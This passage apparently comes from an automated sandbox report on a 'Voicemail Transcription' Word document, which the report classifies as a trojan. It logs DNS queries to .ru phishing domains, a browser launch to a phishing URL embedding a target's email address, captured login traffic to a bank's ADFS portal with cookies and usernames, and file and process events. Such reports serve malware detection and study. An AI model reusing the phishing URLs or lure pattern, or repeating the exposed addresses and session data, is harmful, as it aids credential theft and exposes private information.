YvG6eMA1R0JLZkbYX0Xko73czwf_6_Sj194slVJ35Efm2LeXh_-5_evruedvPHj8yyefPfjtaffJrfe7a0qIsw47XPTaukHK-ECUetLCNyRzGM0FP9OYNXHWJOtMdPJ9OfdHOfcC0&cbcxt=&username=john.doe%40jpmchase.net&mkt=en-US&lc=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/script/mfaotpsms.js HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXujYnmt0z5u0__Of3pg6_yh6uT3PVuddFmQbutib20nk54uKFtMEn06VqfWCufr0pSALhpdy7KW-WEOgb3i8j9YvG6eMA1R0JLZkbYX0Xko73czwf_6_Sj194slVJ35Efm2LeXh_-5_evruedvPHj8yyefPfjtaffJrfe7a0qIsw47XPTaukHK-ECUetLCNyRzGM0FP9OYNXHWJOtMdPJ9OfdHOfcC0&cbcxt=&username=john.doe%40jpmchase.net&mkt=en-US&lc=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcph7722scLS_XyrnbuUOcy93kG92r0j84tfZ53e0a8c_Pb9s3_5kkLvcrZ61WNBqaVI35VJbgFvaAnaizza6ba58odrvB4CfdRaSnCl3sSNwv4jcLxYviwd8Yyw2ZWaMvSgin-7lfjn4X6YfX3urVErdsR8ZE99a3viP7d_eyL1888WPXz968MPvf3WeXf_QkmSOOwHzOhM0hC0Vau0BvzRd2p7DRifTw5YrpCOq_0H8UXT3u3LuaTn3Dw2&cbcxt=&username=john.doe%40jpmchase.com&mkt=en-US&lc= HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!kWz4Xnpk3d6TReuZhJMQ0PSsXfzmWZ/OzL/GyK56UgRsUTwNevGQUuuCEPIN5VAyvbosgZtfn4syZA==
Source: global traffic	HTTP traffic detected: GET /adfs/fs/federationserverservice.asmx HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcph7722scLS_XyrnbuUOcy93kG92r0j84tfZ53e0a8c_Pb9s3_5kkLvcrZ61WNBqaVI35VJbgFvaAnaizza6ba58odrvB4CfdRaSnCl3sSNwv4jcLxYviwd8Yyw2ZWaMvSgin-7lfjn4X6YfX3urVErdsR8ZE99a3viP7d_eyL1888WPXz968MPvf3WeXf_QkmSOOwHzOhM0hC0Vau0BvzRd2p7DRifTw5YrpCOq_0H8UXT3u3LuaTn3Dw2&cbcxt=&username=john.doe%40jpmchase.com&mkt=en-US&lc=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!yv4xKxtxhjonGVaSYQ1AryCmFyCHSW/4gu0WW2TD/P0bosaYbG9f3JDLE9fXmj/Ej9OEf2vCAJx0LJY=

Source: global traffic	DNS traffic detected: DNS query: pllu.gnoqwwhpwe.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: idag2.jpmorganchase.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3207sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hpsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 18:04:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 7129Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BD3UM26GnCwsXpvNUXsZqrpi%2FTDtCzdBDS98suVNU5n0eGAQ4qInd5B8uQa%2BMJvIL6ShRFoyS1%2FDL%2Bc1NFr6LYcbfC5owpVOGGD2G7a1llUhgJdQATKRcNYjCMqfw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4950&min_rtt=4896&rtt_var=1474&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2083&delivery_rate=550125&cwnd=251&unsent_bytes=0&cid=d326ce7bc7041727&ts=53&x=0"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8ffe978adc8a430a-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1547&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1898&delivery_rate=1806930&cwnd=225&unsent_bytes=0&cid=00013c42e8a8e1bc&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 18:04:52 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: rb773VmA2Fp4kkmdvoJMVQ==$piaS9sk6YeIhsAogM78M8Q==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ffe978ecb638c84-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 18:04:56 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: hc/j6CDcfhpCS5g5s5+KBw==$t8c8j5vVvNMYpe8kl44J4g==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ffe97a40dff186d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 18:05:03 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: fngcMmoORB1WJ+pmn1Yp7g==$eTBADoMZ/3GCpCciPBSsLQ==Server: cloudflareCF-RAY: 8ffe97d2596a41df-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiDate: Fri, 10 Jan 2025 18:06:11 GMTX-Cnection: closeContent-Length: 326Vary: Accept-EncodingConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiDate: Fri, 10 Jan 2025 18:06:13 GMTX-Cnection: closeContent-Length: 315Vary: Accept-EncodingConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiDate: Fri, 10 Jan 2025 18:06:30 GMTX-Cnection: closeContent-Length: 326Vary: Accept-EncodingConnection: close

Source: chromecache_125.5.dr	String found in binary or memory: http://scripts.sil.org/OFLThis
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_128.5.dr, chromecache_127.5.dr	String found in binary or memory: https://password.jpmchase.com/pce/otp

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal60.troj.winDOCX@26/93@42/14

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$icemail_+Transcription+_ATT006151.docx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{39A47E87-A993-4446-97BD-5D51CE117291} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Voicemail_+Transcription+_ATT006151.docx" /o ""
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1968,i,1827045046514926653,16551439245493585033,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1968,i,1827045046514926653,16551439245493585033,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
